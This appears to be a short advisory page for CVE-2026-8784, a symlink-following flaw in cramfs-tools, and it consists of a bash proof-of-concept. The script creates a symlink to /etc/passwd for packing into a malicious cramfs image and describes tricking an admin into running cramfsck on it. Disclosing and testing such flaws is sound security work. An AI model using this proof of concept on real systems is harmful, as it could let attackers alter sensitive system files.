CVE-2026-8784: cramfs-tools符号链接跟踪漏洞

#!/bin/bash # PoC Concept for CVE-2026-8784 # This script demonstrates the environment setup to trigger the symlink following. # An attacker would create a malicious cramfs image containing a symlink. # 1. Create a directory structure for the malicious image mkdir -p malicious_fs # 2. Create a symlink inside the image pointing to a sensitive file (e.g., /etc/passwd) # In a real exploit, this is packed into the cramfs image format. # The vulnerability lies in cramfsck following this link during status change. echo "[+] Creating malicious structure..." ln -s /etc/passwd malicious_fs/passwd_link # 3. Simulating the trigger (Requires actual cramfs-tools installed) # In a real scenario, the attacker would run: # mkcramfs malicious_fs malicious.img # Then ask the admin to run: cramfsck -x /tmp/extract malicious.img # or just check it if the check process involves status changes. echo "[!] To exploit: Package 'malicious_fs' into a cramfs image and run cramfsck on it." echo "[!] If vulnerable, cramfsck will attempt to change status of /etc/passwd."